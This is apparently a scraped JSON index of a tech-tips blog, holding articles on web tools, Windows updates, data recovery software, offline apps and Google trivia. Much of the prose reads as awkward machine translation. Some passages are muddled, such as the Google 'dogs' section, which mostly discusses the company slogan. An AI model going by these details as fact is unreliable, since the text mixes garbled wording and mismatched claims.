ncG1vNJzZmismaXArq3KnmWcp51ktrR5yK1kq52Robm6edKanZ5lpKR6tr%2FEZpinp6SdsrN5y5qnraegYrCprdGgnKs%3D\n","link":"/post/is-it-really-safe-to-use-another-laptop-charger/","section":"post","tags":null,"title":"Is it really safe to use another laptop charger?"},{"body":"You have to handle a large amount of work, anywhere, anytime you have to ' online ', contact your partner, colleagues, friends, etc. Meebo will help you stay in touch, with many different forms of chat, with many tools of different firms .\n  Visit www.meebo.com, you will be surprised when your iPhone changes the look. Users can freely choose AIM, Yahoo !, MSN, Google Talk, ICQ, Jabber to make chat in this site. The convenience shown in the direct use, not download and install, you just need to ensure a smooth network connection. Website software will automatically work.\n  When you access the above address, you will see your window is divided into 5 parts. In particular, part of Meebo's login and 4 parts of chat tools: google talk, msn, aim, yahoo !. You can log in to the above 4 tools if you want. Click on Products on the website toolbar. The program will introduce you to meebo rooms, meebo me, meebo me, . These are other ways you can refer to.\nncG1vNJzZmismaXArq3KnmWcp51kuqaxwaiaqKVdmLWiwIywoK2gXZm2p7LEq5ynrF2owbq4xKw%3D\n","link":"/post/meebo-com-chat-with-different-styles/","section":"post","tags":null,"title":"Meebo.com - Chat with different styles"},{"body":"After the March 2021 update and subsequent updates of Windows 10, some users experienced performance issues while playing games. The most common problems include reduced frame rates (fps), stuttering in some games, and unstable interface textures.\nThe problem was reported by users on many forums in March. NVIDIA even advised users to uninstall the recent Windows 10 update to avoid suffering.\n  In April, Microsoft released an emergency patch to address gaming performance issues for users. The same patch was also included in the July update for Windows 10 versions 21H1, 20H2, and 2004. However, some users still have problems and they believe that Microsoft's patch has not completely solved the problem. subject.\nThankfully, Microsoft is testing another fix for this problem. While noting the 19043.1147 beta build, Microsoft confirmed they were working on a fix for an issue that prevented power settings and game mode from working. This reduces fps and reduces performance when playing games.\n\"We fixed an issue that prevented power settings and Game Mode from working as intended. This resulted in lower frame rates and reduced performance when playing games,\" Microsoft wrote.\nMost likely, this patch will be released in the August 2021 Patch Tuesday update.\nAre you having problems playing games on Windows 10?\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsSquMtmqqinnmKzqsSMrKuurKSav26tzZ1kpZmXYsSpsc1mp6WZqZ67qHnGmqSeq12ku27DyKebqK%2BjYn5x\n","link":"/post/microsoft-will-soon-fix-stutter-and-lag-when-playing-games-on-windows-10/","section":"post","tags":null,"title":"Microsoft will soon fix stutter and lag when playing games on Windows 10"},{"body":"One of the most critical things when working with a computer is its screen. It shows us all items that are happening with the programs that we use in the operating system in our daily work.\nThe screen contents can be saved to the clipboard at the touch of a button on the keyboard. It is done using a static image of that content, but it may be necessary to take it a step further. Sometimes you may want to make a short screen recording of a program that you want to share with clients or colleagues.\nThere are many tools for this scenario that you can download and install on your computer, but in this article, I would like to show you an easy-to-use and free screen recorder, RecordCast. It can create a video directly from the browser, which can then be conveniently downloaded and edited.\n  How to make a screen recording? As everything runs in the browser, no installation is necessary, and you can start immediately by browsing the recordcast homepage here.\nThe website interface is relatively simple, and you can start recording the screen using the \"Start Recording\" button. You will then need to pick a recording mode from the three options: Screen + Webcam, Screen Only, Webcam Only.\n  Then define the audio method you want to use. You are allowed to use the system audio, microphone audio, or use both. You can also use no audio in your recording.\u0026nbsp;\nThe next thing is to choose the area you want to be recorded. You can choose between the entire screen, a single application window, or a single browser tab. The recording then starts and can be ended again by clicking the red button.\nAfter recording, the video can be downloaded as a WebM file using the Download button. Or you can even process the video in RecordCast video editing programs by clicking the \"Edit and Export in MP4' button.\n  You can edit the video with text, images, backgrounds, audios to make it perfect. Then export it to 1080p in MP4 format to your computer then.\nOther RecordCast features RecordCast works basically on all computers. You only need an internet connection. RecordCast has many handy customization options to record the screen the way you like it most. It facilitates the editing of videos made. Ah, the best is free. Who should check it out? Everyone wants to show clients how to do something on the PC or how to use the programs, who have websites or blogs, or who want to do a demonstration of their products on the computer.\nRecordCast is also very practical for teachers who want to create educational tutorials to be used in the online classroom or at the school in the academic field.\nBesides, RecordCast's video editor is currently in its beta, and therefore, in case of failures or malfunctions, you can send a report to its support team.\nConclusion What attracts me most in the RecordCast tool is its simplicity. With a few clicks, we can do things that would take much longer. I'd love to recommend it to everyone who needs screen recordings like a video to save the site as a favorite. And now, did you already know this tool? Do you know any other good ones that also help you easily record your computer screen? Tell me in the comments.\nScreen Recorder ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BVl3q0r9GenKdlopqwsL7Dnqlmp56htq%2BxjK6qoqaXYr%2Bmr86rm5yZo6l6p77EnmSappRiu7B51pqrnqqdlr%2Bsvw%3D%3D\n","link":"/post/screen-recorder-online-using-recordcast/","section":"post","tags":null,"title":"Screen Recorder online using RecordCast"},{"body":"There is a fact that not all organizations upgrade to Windows Vista. With Windows XP (the first version released in 2001 and still being sold), Microsoft has just released a service pack 3 (SP3), this latest release may be the final version of the system. this operator.  Download SP3 from Microsoft . How important is WXP SP3 to organizations using Windows XP and how will it affect operating system upgrades? What is SP3 for? Microsoft's goal is not to turn the situation around with SP3 and release it more like SP1 than SP2 with some sensitive feature changes. The goal is to make the operating system more stable, efficient, and integrated. This is because with a facility already installed on billions of users worldwide, this upgrade will affect a wide range of users. The future of XP: Microsoft plans to cut the mainstream support of this product in 2009 and cut its support in 2014, but Microsoft still includes some of the features of Windows Vista into Windows. XP SP3. Let's take a closer look at these changes. What's inside XPSP3?\nImproved stability : These updates increase the stability and availability of the operating system and reliability.  Improved performance : Improve XP's performance and enhance collaboration and hardware compatibility.  Improved security : This release has pre-existing security updates and new updates.  Additional components : This release includes several releases that Microsoft has developed such as MMC 3.0 and core XML services 6.0.  Minor Features: NAP-like features have been added so that customers can take advantage of the advantages of Windows 2008 server. Support for WPA2 is also included as a separate download.\n Microsoft launched Windows XP Service Pack 3 as a de facto standard for users running Windows XP. Service Pack 3 will be a final upgrade for customers who still use Windows XP. Microsoft did not merge the latest version of IE into this service pack. If IE7 or IE6 is detected during the installation, the security patches will be updated in accordance with the current version.\nSecurity components of SP3  Some of the new features included in Windows XP SP3 are: • Compatibility of Network Access Protection (NAP) . As mentioned above, this feature allows Windows XP computers to take precedence as NAP features in Windows Server 2008. This is similar to Windows Vista. This is a great advantage, it is a component that allows users to better protect their network by assessing the health status of the connected system, such as antivirus level and level. patch of the corresponding environment. If at some point when connecting, the computer meets the prerequisite policy component, it will be allowed to access the network and if that policy is not enforced enough, the computer will be isolated from network segment, it is similar to limited resources. This restricted access allows the computer to be updated to an acceptable temporary level before resuming the scan and being allowed to access the production network. From the perspective of remote access, this feature is very useful when users are mobile, meaning they will connect to any network or computer when outside the office, this property can be somewhat called ' temp. However, because of such \"junk\", it is also easy to expose and may be compromised by exploiting or malicious software that may even enter through the virus prevention mechanism. It may also be at risk of compromising and allowing unauthorized access or malicious software to spread when users connect remotely. The isolation option will scan and verify that the computer is protected and set at an acceptable level before allowing access in the remote environment. This is also a long-awaited feature and is welcomed by many people. • Installation options without product code : As Windows Vista, XP SP3 installation can proceed without entering the product code during the installation process. And you must enter the operating system product key when the deadline is nearly 30 days like Windows Vista. • Kernel Mode Encryption Module . This feature is a kernel module, and is used to enhance the way XP manages encryption requirements in the application layer. Better encryption, stronger protection as long as the keys are secure. Many people have been looking forward to this feature and it is also a very interesting feature for organizations or firms. • Router detection algorithm for black holes . This feature allows XP clients to recognize routers that misplace the packet. It is a feature also available in Windows Vista. • Simple policy upgrade : A welcome feature, this feature will help make things easier when it comes to the mysterious or cryptic problem of XP IPSec; Create and maintain IPSec filters. The simplification of this feature also makes it much easier to deploy IPSec for domains and network communications. • Digital identity management service (DIMS) : This feature allows users who have logged into any computer in the domain to be able to access smoothly with their own certificates and keys for applications and services. • Wi-Fi Protected Access 2 (WPA2) : This feature adds support for WPA2, or IEEE 802.11i standard. Many security features for wireless communication have added what XP lacks in previous versions. With this security context, this is a big change worth welcome. 1,073 patches are part of this upgrade. These updates have made Windows XP the latest version with all the hardware support and software upgrades not included in Windows update. A general question is: do I need to install SP1 or SP2 before installing SP3? The answer is no, SP3 is similar to SP1 and SP2 and you can install it independently. Efficiency After installation, you can see performance on laptops can be improved by up to 16%. The figures shown in industry may be up to 25% but this still needs to be redefined. The official number is approximately 10%. Conclude \n Windows XP will not disappear in a day or two. It has become a fairly solid platform and is used by many organizations around the world. Windows XP SP3 is considered a product that can create new boundaries for organizations and users who are still deploying and running Windows XP. If you're considering adding new features like NAP, XP SP3 is your choice. This upgrade will extend the life of Windows XP and additional features will make this version worth installing.\nncG1vNJzZmismaXArq3KnmWcp51kwKav1KugrbFdnrtuw8inm6ivo2LFsXnSqWo%3D\n","link":"/post/security-in-windows-xp-sp3/","section":"post","tags":null,"title":"Security in Windows XP SP3"},{"body":"On December 18, China Mobile, the world's largest network, remained \"silent\" in the release of the iPhone phone, making public opinion surprising.\n  Earlier, many people believed that December 18 was the official time of selling the iPhone's iPhone to 750 million subscribers. However, according to Reuters news agency , Apple and China Mobile are still in talks . and there is no certainty that the iPhone will dock this network this year.\nPreviously, analysts had suggested that the deal with China Mobile was very important to Apple, so it kept its momentum in the Chinese market after releasing iPhone 5s and iPhone 5c .\nWith the sudden 'stumbling block ', Apples Apples will definitely face difficulties in increasing market share in the world's most populous market, especially when the iPhone 5c is expected to 'make things' here.\nStatistics released by research firm Counterpoint Research show that Apple is \"revitalizing\" significantly in China, though it has yet to reach an agreement with China Mobile, reflected in a 5% increase in market share in September. passed up about 12% in October.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjLCmq6SUqHqtrdGgnKysXaS9pr7AraarZZiWwG7FxK1kraddqLKtuIytn55lmaW1sLrE\n","link":"/post/the-world-s-largest-operator-has-yet-to-sell-the-iphone/","section":"post","tags":null,"title":"The world's largest operator has yet to sell the iPhone"},{"body":"In the process of using the computer, you have many trouble because of \"accidentally\" deleting important data or searching for data in storage devices such as HDD, USB. The data recovery tools will be your best help at these times, but if you search Google you come across a pool of free to paid tools with the same functionality. TipsMake would like to introduce 10 free tools that are rated as the best today.\n1. Recuva Free   Download Recuva Free Released as an installable and portable handy. Recuva Free supports data recovery on FAT, exFAT and NTFS formats. Just choose the drive to recover and the desired file formats and let the program work automatically.\nWhen the scan is completed, the files that the program finds will be listed in the list so that they can be recovered at will.\nIn Advanced Mode, Recuva gives you more options in your recovery such as searching by file format or even by a piece of text that the file contains. And in Deep Scan mode, Recuva will take a lot of system resources and complete time but will recover more data for you. The program also has the function of permanently deleting certain data so that no one can recover it.\nlienhe 700 × 100 1 10 Best free data recovery software In terms of features, Recuva is still one of the best programs on our list.\n2. Undelete 360 Undelete 360 ​​is a completely free tool, with unlimited size and number of files to recover. The program can work with many different file formats, and when the recovery results are available, you can also preview files in the complete list to decide whether to restore it or not.\n  Download Undelete 360 Undelete 360's working speed is not a strong point, but it can recover files that many other programs cannot, which is a strong point you should keep in mind about Undelete 360.\n3. MiniTool Partition Recovery Recovering lost data, other programs can also do it well, but with MiniTool Partition Recovery you can also recover data and lost partitions that few programs can support.\nDownload MiniTool Partition Recovery However, if you are working with physically damaged storage devices, do not expect too much in MiniTool Partition Recovery, the program can only tell you which partitions are damaged.\n4. Wise Data Recovery It's hard to find a data recovery program that simplifies usage like Wise Data Recovery. The program interface has no menus, dialog boxes or any other message. You just need to select the storage device to be recovered and click Recover to make the program work.\n  Download Wise Data Recovery However, the downside of Wise Data Recovery is that it does not work in FAT formats. This can be considered as a lightweight program for novice users but still ensures high data recovery efficiency.\n5. PhotoRec A quite powerful data recovery tool, works on many operating systems (DOS, Windows, Linux, OS X .), supports over 200 different file formats.\n  Download PhotoRec The interface of the program will look a bit \"boring\" when it is a DOS window, but it cannot be denied the power of this task.\n6. FreeUndelete Does not support FAT format, slow working speed is the favorite point of FreeUndelete. However, when working on NTFS format forte, this tool shows all its advantages.\n  Download FreeUndelete The data in the preview mode will read the folder structure before they are deleted, not a messy list like other programs will help you easily find the exact data you need to recover.\n7. Paragon Rescue Kit Free If you crash heavily, cannot boot, the installed recovery programs will become useless. And Paragon Rescue Kit Free will be your savior by supporting the ability to create CD Boots to boot with the system, recover lost data or corrupted partitions.\nDownload Paragon Rescue Kit Free Excellent working ability, the program can fix most of the errors in boot to get the system back to a stable state. Besides, Paragon's File Transfer Wizard also helps transfer data back and forth between storage devices, as a \"hot\" backup program.\n8. Glary Undelete With Glary Undelete, just select the drive and scan is done. The only weakness of this program is its slow working speed compared to other programs with the same function.\nDownload Glary Undelete Glary Undelete supports both FAT and NTFS formats, the results list is divided by folder and can be sorted by name, making it easy to choose which data to recover.\n9. Pandora Recovery Unlike the above tools that only scan data on a specific storage device and then give the list of recovered data, Pandora Recovery can use a window similar to Windows Explorer for you to filter data, search by name, size, or \"creation date\" and even preview image files.\nDownload Pandora Recovery Pandora Recovery can recognize the FAT format, but the working results are not good and sometimes cannot find the recovery data.\n10. PC Inspector File Recovery PC Inspector File Recovery gives quite good results with our tests, the program can work well on both FAT and NTFS formats. The list of found files will also be listed in the form of a folder, and the program also supports a simple search ability to help users select the data to be recovered.\nDownload PC Inspector File Recovery If you are new to using it, you will find the program has a rather confusing interface because it is tabbed (it is recommended that you remove unnecessary USB devices when working with PC Inspector File Recovery). The program only supports preview in text format or Hex code and cannot preview JPEG files.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp6imrJusMCtmGaqlZi8t7HRsmSsp5apxKK%2BxA%3D%3D\n","link":"/post/top-10-free-data-recovery-software/","section":"post","tags":null,"title":"Top 10 free data recovery software"},{"body":"Most free database software isn't as good as Microsoft Access, but there are still a few great alternatives.\nWhy choose Microsoft Access alternative? Despite the proliferation of free Microsoft Office alternatives, Microsoft Access is consistently in the top 10 database tools rankings. It can even be used for other things, like building forms in Access.\nPro-Access users point out that it's easy to use, the wide range of online resources available to users of all abilities, and its powerful querying, filtering, and table tools. Anti-Access users objected because of its lack of scalability, the annoying 2GB limit, the use of a single file for the database, and the potential for database corruption in multi-user databases.\nMicrosoft Access Alternative Database Software LibreOffice LibreOffice Base is a great starting point for those who are considering a free alternative to Microsoft Access. The open source office suite remains one of the more powerful.\nThe latest version of LibreOffice, 6.1.3, is arguably one of the best. LibreOffice Base is still a great tool, suitable for both home and business needs.\n  LibreOffice Base has a host of handy features, including cross-database support for multi-user databases such as MySQL, Adabas D, Microsoft Access, and PostgreSQL. LibreOffice Base is probably an almost direct copy of Microsoft Access. Both are front-end database management tools.\nPeople can use Base to create database-compliant websites or applications, and choose between Firebird or HSQLDB for their embedded database framework.\nKexi Calligra Suite is a suite of office and graphic design applications developed by the KDE open source community. Kexi is Calligra Suite's answer to Microsoft Access.\nKexi offers a mixture of database features: data entry, queries, forms, tables, reports and more. It can be used as a user interface for a database server such as MySQL, PostgreSQL or Microsoft SQL Server.\n  Another useful feature for users who want to change the database engine is the Kexi Microsoft Access conversion assistant. This wizard helps users to migrate the database to the Kexi database framework, persists the data, and allows for editing between applications.\nDBeaver DBeaver is another open source database creation and management tool, available for all major computer operating systems such as Windows, macOS or Linux.\nIt comes with Apache License 2.0, and so it is possible to use the application for both personal and commercial purposes without paying any royalties to the developer.\n  A new feature of this application is that it supports different trend database files to import into its environment. Thus, users can add database elements to their DBeaver projects from other sources such as PostgreSQL, Microsoft Access, Firebird, Sybase,.\nDBeaver project explorer comes with advanced database building features like drag and drop editing, import from comma separated values ​​(CSV), column groups, JDBC driver for SQL,. .\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJucrKxdorakvs6spp%2BsXZawpLHSrGSrnaChrqSxzJ6lrWWjpLO1w8CrnGaen6d6pa3Tmpmaq5Wo\n","link":"/post/top-best-microsoft-access-replacement-software-for-databases/","section":"post","tags":null,"title":"TOP best Microsoft Access replacement software for databases"},{"body":"With each passing day, the world becomes more dependent on the Internet. From productivity suites to password managers, it seems like there will be a web application suitable for all purposes.\nIn fact, the reliance on the web is twofold, both negative and positive. Certainly, the popularity of online tools means that in theory, you can maintain labor efficiency from anywhere in the world. But what happens when you're stuck offline? Connection problems occur when you least expect them.\nWhat offline productivity applications will help you stay productive even without the Internet? Read the following article to learn more details!\nWhat is the best offline productivity application? 1. Any.do 2. Salesforce 3. OfficeTime 4. Google Drive 5. Microsoft Outlook 6. Trello 7. LastPass 8. Evernote 9. Pocket 10. Google Maps 1. Any.do   Any.do is a full featured task management application. The perfect tool to organize your to-do list and manage your calendar. It even provides a virtual assistant to remind you every day.\nThe Premium version of $ 2.99 (VND 115,000) / month adds real-time collaboration support, location-based reminders, customizable recurring tasks, and unlimited attachments.\nAny.do offline productivity app is great. Any actions that you have synchronized with your phone or computer will be available and any changes you make will be uploaded to your account, whenever there is a connection again. It is very difficult to find a to-do list application or a better offline task manager than Any.do.\n2. Salesforce   Salesforce is one of many web-based CRM tools that appeared in the last decade, but it is still the most famous and widely used tool.\nAlthough designed for online use, the offline application provides strong support. You just need to make sure the admin has enabled caching and offline editing.\nNaturally, there are some limitations. For example, you will not be able to create new contacts or tasks, lookup filters are not available, view attached images and cannot access Salesforce Communities.\n3. OfficeTime   OfficeTime is one of the best apps for anyone who needs to keep track of their working hours and get paid for it. This tool is popular with freelancers and small business owners.\nOfficeTime can record both costs and hours, then automatically prepare invoices for you to send to customers. The app also boasts an impressive array of charts, graphs, and visual aids so you can see what is taking up all your valuable time.\nThis application is fully functional when you are offline. It can still automatically record time and allows you to manage ongoing projects. All changes will sync with the OfficeTime servers as soon as you have a connection.\nThe one-time application costs $ 47 (VND 1,090,000). A free 21-day trial option is available.\n4. Google Drive   Cloud storage applications, Google Drive, along with 3 integrated Office applications (Docs, Sheets and Slides) are a popular option in consumer, education and business.\nGoogle Drive allows you to provide files for offline viewing (go to Settings\u0026gt; General\u0026gt; Offline ) while Docs, Sheets and Slides will allow you to create new documents when there is no connection.\n5. Microsoft Outlook   Most people use web clients to access their inbox. But there are still some great desktop email applications and perhaps the most popular of them are Outlook.\nBecause Outlook downloads a local copy of the email inbox, you will always be able to access all your emails, regardless of whether you have a web connection or not.\nObviously, when you're offline, you won't be able to send or receive email. However, you can queue them up and the process will be completed as soon as you have reconnected.\n6. Trello   If you want an offline kanban board, you should use Trello. It makes processing tasks easy.\nSince early 2017, Trello has provided offline support for its mobile applications. You can now open tables, create new tags, edit existing tasks, assign team members to tables or tasks, and add descriptions, dates, labels, and other metadata.\nThe application will save all changes locally and upload them to the web as soon as you are back online.\nTrello user guide for project and life management 7. LastPass   Password manager is an essential part to keep you safe on the web. They allow you to create more complex passwords without having to worry about having to remember them every time you sign in to a service.\nAn important feature of any password manager is offline access. You will not want to lose access to one of your accounts just because you cannot be online.\nAs long as you have signed in to your LastPass account from your device at least once while connected, you can access the encrypted and local storage of Vault.\nIf you have enabled 2FA, you will need to go to Account Settings\u0026gt; Multifactor Options\u0026gt; Edit\u0026gt; Permit Offline Access to enable offline access.\n8. Evernote   Besides Microsoft OneNote, Evernote is one of the two most notable applications today. You can spend hours discussing the relative value of each option, but in the end, both are great apps.\nAs expected, you can access your Evernote content while offline. However, the exact list of what will be available varies depending on the device you use.\nIf you use a computer, all content is accessible. Evernote automatically stores a local copy of everything on your hard drive. If you use it on mobile devices, only note titles, tags and a small snippet of text are available by default.\nIf you want all access to complete notes on your mobile phone, you'll need to upgrade to Evernote Plus or Evernote Premium.\n9. Pocket   Pocket is a great way to save web content for later reading. But why is this a better solution than using browser bookmarks? Because Pocket will make any articles you save available offline.\nSo this is a great way to load content without a connection. For example, you can put in some essential documents and see them all on a transatlantic flight.\n10. Google Maps Many GPS applications work offline, but the popularity of Google Maps makes it worthy of a place on this list.\nIf you want to use Google Maps offline, you will need to prepare a bit on your Android or iOS device. Go to Settings\u0026gt; Offline Maps\u0026gt; Select Your Own Map and drag the window on the screen to the part of the map you want to save. When you are ready, click Download.\nYou can access your downloaded maps by going to Settings\u0026gt; Offline Maps .\nThe applications TipsMake.com introduced in this article hope to give you an appreciation for the number of online software currently available offline.\nAs stated at the beginning of the article, offline access is an important feature, especially if you have to spend a lot of time on the go.\nIf offline access is not provided by your favorite productivity application, consider some of the other options in the article. Sure, you can find the perfect app for your needs.\nWish you find a suitable application!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5z6umna2Tqba3tdOyZJqooKh6tbTArWSwp6KgerCyxaWgp50%3D\n","link":"/post/10-productivity-apps-that-work-offline/","section":"post","tags":null,"title":"10 productivity apps that work offline"},{"body":"As mentioned in the previous article, PRC files are widely used in e-books. However, it has a drawback of not allowing you to print due to copyright issues. Therefore, if you want to print out a book to read, it must be converted to another format, but the simplest is PDF. If you do not know how to transfer, you can refer to our below method.\nMethod 1: Use Caliber software Download Caliber software for computers\nStep 1 : At the main interface of the program, click Add Books to select the file PRC to convert\n  If you want to change another file, right-click on the old file and select Remove books \u0026gt; Remove selected books , then proceed to add a new file like above.\n  Step 2 : After selecting the PRC file, press Convert books\n  Step 3 : When the Convert dialog box appears, in the Output format section, select the PDF format and add some information such as author, tag . Then click OK to convert.\n  Method 2: Use Zamzar online tool Step 1 : Visit the tangled Zamzar homepage click Choose Files to select the file PRC need to convert\n  Step 2 : You choose the output format is PDF\n  Step 3 : Enter the email address to receive the file after the conversion is complete\n  Step 4 : Click Convert to convert the file\n  Step 5 : When the Zamzar website appears as the interface below, the conversion process is complete\n  Step 6 : Please check the email you just registered above and open the link from Zamzar to download the PDF file\n  So, we have finished showing you two ways to convert PRC files to PDF. Please choose a suitable method.\n2 ways to transfer PPS file to PPT How to convert PDF files to JPG? Convert PDF files to PRC in 2 ways Hope the article will be useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kf27DwLKqZqyfYrCwutWeqa1loKewbrLIpZxmrJ9ivaWy\n","link":"/post/2-ways-to-convert-prc-file-to-pdf/","section":"post","tags":null,"title":"2 ways to convert PRC file to PDF"},{"body":"The following Chrome browser add-ons below will bring YouTube's online video service with many powerful features similar to professional multimedia players.\nMusixmatch When watching compelling music videos, sometimes you want to display the lyrics below as subtitles when watching movies, automatically syncing to match the image. YouTube service does not yet support this feature and the add-on (extension) Musixmatch for Chrome browser was born to meet that demand.\n  With the existing library of over 7 million lyrics, Musixmatch can provide almost all popular songs today.\nJust turn on \"Captions\" mode in YouTube's Options menu and Musixmatch will automatically match the lyrics subtitles with the video.\nIn addition, Musixmatch also allows to change the font and color of the lyrics. Some tests show that Musixmatch does not work properly when playing strange classical rock songs as well as some soundtracks.\nPlayTube PlayTube is an extension designed to provide a better streaming experience for YouTube services on Google's Chrome browser.\nThe gadget will be available on the Chrome browser toolbar after installation and can help you control the YouTube slideshow right there. When performing a search for any song on YouTube, you will see the + Save button and can click on it to add videos to the Saved list of PlayTube.\n  When you open PlayTube , you will see the button with the + sign icon in the left-hand corner with the same function as the + Save button mentioned. In addition, in PlayTube interface, you will also see the usual multimedia playback controls, a time slider to play and a search bar. In general, PlayTube works pretty well except that the search process is considered to be a bit complicated because you have to exit the utility, go to YouTube and search and add songs from there.\nUpNext UpNext provides many features such as searching videos on YouTube, creating playlists (playlists), toggling random playback (shuffle) or repeating (repeat) songs, and many other features. UpNext works quite smoothly and can remember search history.\n  UpNext has an intuitive interface that makes it easy for users to create and update categories. In addition, UpNext also allows searching on SoundCloud, a popular service for most music lovers.\nTherefore, it is likely that you can find songs that are not available on YouTube using SoundCloud service.\nHow to make money from YouTube Partner? How to play live video on YouTube? Just watch YouTube and work with Sideplayer ncG1vNJzZmismaXArq3KnmWcp51kgG7B0p6drqRdqbywuNJmnaiqXa68tsDUm5w%3D\n","link":"/post/3-useful-tools-for-youtube/","section":"post","tags":null,"title":"3 useful tools for YouTube"},{"body":" Fun facts behind 10 popular technology terms 17 extremely important events that can change the world before 2050 18 exciting \"spray bombs\" of Google Surely when referring to the name Google , one of us will know that it is one of the \" bosses \" of search engines, dominate the market of smartphone operating systems and online videos.\nHowever, that is not enough, because there are still many things you may not know about Google. Here are 9 surprising secrets about the Google brand that few people know about . Don't worry, nothing . shame. Please refer to this article!\n  1. You should thank Jennifer Lopez for bringing the Google Image feature One of the great things about Google is the Google Image image search engine. Not only news, you can search based on images of websites through Google. However, have you ever wondered where this great image search tool comes from?\n Image of Jennifer Lopez at the Grammy in 2002. Photo source: © GETTY IMAGES\nEric Schmidt - Chairman of Google, said: ' In 2002, when the famous actress Jennifer Lopez dressed in a blue dress penetrated at the Grammy Awards, there were many people looking for this. But of course they were not looking for a description of the dress but looking for an image. Google has noted this and since then Google's image search engine has been launched . \"\n2. Google once had a bad name  BackRub is Google's first name.\nWhen the founders Larry Page and Sergey Brin started their search engine at Stanford University in the mid-90s, the tool was called BackRub . This unnamed name refers to the mechanism of this tool through backlinks to provide results to users.\nFortunately, the duo realized this was not a special nickname for conquering the Internet, and they gave birth to a newer name - Google . Interestingly, this name is a misspelling of Googol - a mathematical term.\nAccording to David Koller from Stanford University, Google's founders including Larry Page and Sergey Brin sat together to name their search technology. At that time, Sean Anderson suggested taking the name ' googolplex ' (10100) to refer to the large amount of data this search engine handled. After that, everyone agreed to shorten the name to \" googol \", but when looking up the domain name registered on the Internet, Anderson mistakenly typed it into \" Google \". Interestingly, Larry Page liked the name very much and just a few hours later, \" google.com \" was registered.\n3. Google owns Googlesucks.com  Photo source: © GETTY IMAGES JUSTIN SULLIVAN\nBeing the largest company on the Internet is not easy. Besides the compliments and compliments there are also many gossip and pranks on this search giant.\nTo avoid using its name, Google had to buy all website addresses with a name that was indecent, misleading or simply bizarre names related to Google. The domain names that Google has owned such as Googlesex.com, Googlepoo.com, Googleporn.com, Googlereligion.com and of course Googlesucks.com .\n4. Google owns the fossil model of the T-rex dinosaur outside its headquarters  Fossil model of T-Rex outside Google's headquarters.Image source: © GOOGLE\nYou can see Google's preference to build an Android themed statue sitting on the grass in front of the offices, but they're not the most interesting decorations at the company's headquarters in Mountain View. This honor probably belongs to the T-Rex dinosaur model of \" real \" horizontal size, named Stan .\nDinosaur Tyrannosaurus Rex is cast from fossils dug up near Google's headquarters. People have put Stan in a standing position on Google's campus in the last few years. If you want to go to Jurassic Park, you can visit Google.\n5. Google was sold for only $ 1 million  Image source: © GOOGLE\nOwning Google is the dream of many reputable firms in the world. Imagine back in the 90s, when you had the opportunity to invest in Google, not knowing what you would be like.\nAt the time, Yahoo and Excite ( one of the first Internet portals ), both had the opportunity to buy Google in the late 1990s at a cheap price of only about $ 1 million, but they ignored it and considered it as is a nightmare. However, the value of Google has now reached more than $ 500 billion.\n6. Google likes dogs more than cats  Photo source: © SKY OXFORD SCIENTIFIC FILMS LTD\nGoogle's official slogan is: \"Don't be evil - Don't be evil \". This is a slogan given by Paul Butcheit , in a business meeting in the early 2000s. Paul Butcheit then explained that this \" is like a stab at other companies \", especially competitors. paintings, when accusing Google of exploiting users to some degree.\nHowever, this slogan is also mentioned to criticize Google itself, such as when Microsoft thinks that Google has abandoned the spirit in its slogan, insisting on not separating search results and advertising.\nIn the Google code of conduct, it is clear: \" Google's affection for dog friends is an indispensable aspect of corporate culture. We like cats, but we are a love company. dogs, so as a general rule we feel that cats visiting offices will be a stressful thing . \"\n7. Google Doodle started with a message \"not in the office\"  Google's first doodle celebrates the Burning Man festival.\nPerhaps we all like Google Doodle . On major occasions of the year or celebrating special events that occur during the day, Google will change its logos to celebrate. But do you know that Google Doodle is the creation of two founders Larry Page and Sergey Brin for the announcement \" not at the office \"?\nAt the end of August 1998, previous Google engineers took a week off and wanted to inform everyone that they were not in the office to celebrate the Burning Man festival. And so Google fixed the icon of the Burning Man logo page.\nReaders can visit here to see more Google doodle.\n8. Google uses goats to weed at its headquarters  Photo source: © GETTY IMAGES\nWith strong financial potential, he is a big player in the Google technology market. For example, to cut grass in front of his office, Google did not hire workers but let a shepherd bring goats to graze .\nIn 2009, Google decided to do it. Now, if there is a need to cut the grass, a herder will bring about 200 goats to Google's lawn to let them leisurely \" enjoy \" the green grass. This method is said to be much more pleasant than using a cutter. These goats usually stay here for a week and complete their tasks quite well. According to Google officials, the use of goats has a similar cost as renting a lawn mower is much cuter.\nSee more: Let's review the changes in Google's interface when turning 19!\n9. Apple founder - Steve Jobs, once edited the Google logo  The Google logo was edited by Steve Jobs.Photo source: © AP PHOTO / PAUL SAKUMA\nFormer vice president of Google, Vic Gundotra , once said: \" On a beautiful Sunday morning, Steve Jobs called him and said he did not like the yellow tone on the second 'O' in the Google logo when it appears on the iPhone's screen, and the legendary Apple co-founder gave an engineer a fix for this \" emergency error\" that helped Google \".\nSee also: \"Scan\" the design details on the Google logo\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51khm6x162pnqWVocZutc2tnKudo6m2r7OMrJycqpWpwG6twaisrWWXpLyouMRmsKitXaKuunnNqKtmo56kxG7FxK0%3D\n","link":"/post/9-extremely-interesting-secrets-about-google-you-may-not-know-yet/","section":"post","tags":null,"title":"9 extremely interesting secrets about Google you may not know yet"},{"body":"Gmail is one of the most popular email platforms in the world, and has long not received many major updates from Google. However, with the new update coming soon for Gmail, Google is trying to turn this platform into the most comprehensive email tool available today.\nOn Tuesday, March 26, Google officially announced that starting now, Gmail users on the desktop will see the appearance of \"dynamic email (dynamic email)\", also known as Accelerated Mobile Pages - AMP, hidden with more useful and interactive features, can keep up with \"the latest information\".\n  Google researchers for gaming AI to improve enhanced learning ability In fact, this means that Gmail will be equipped with a bit of interaction with users, for example, from now on, you can answer polls from services like Doodle right from the inside. email, instead of having to click on the link, open a new tab and access another site like before. Moreover, when a service like Pinterest sends email on trend topics, your email can automatically refresh itself so that the information displayed is always up to date. In general, with this new feature, messages on Gmail will become more interactive. That means you will be able to send RSVP to an event right from the message, fill in the questionnaire, browse the store repository or reply to the comment - all without leaving the email application. guest on his web.\n  Google Inbox by Gmail application officially stopped working on April 2, 2019 Google has publicly announced a number of partner companies that have supported this new format: Booking.com, Despegar, Doodle, Ecwid, Freshworks, Nexxt, 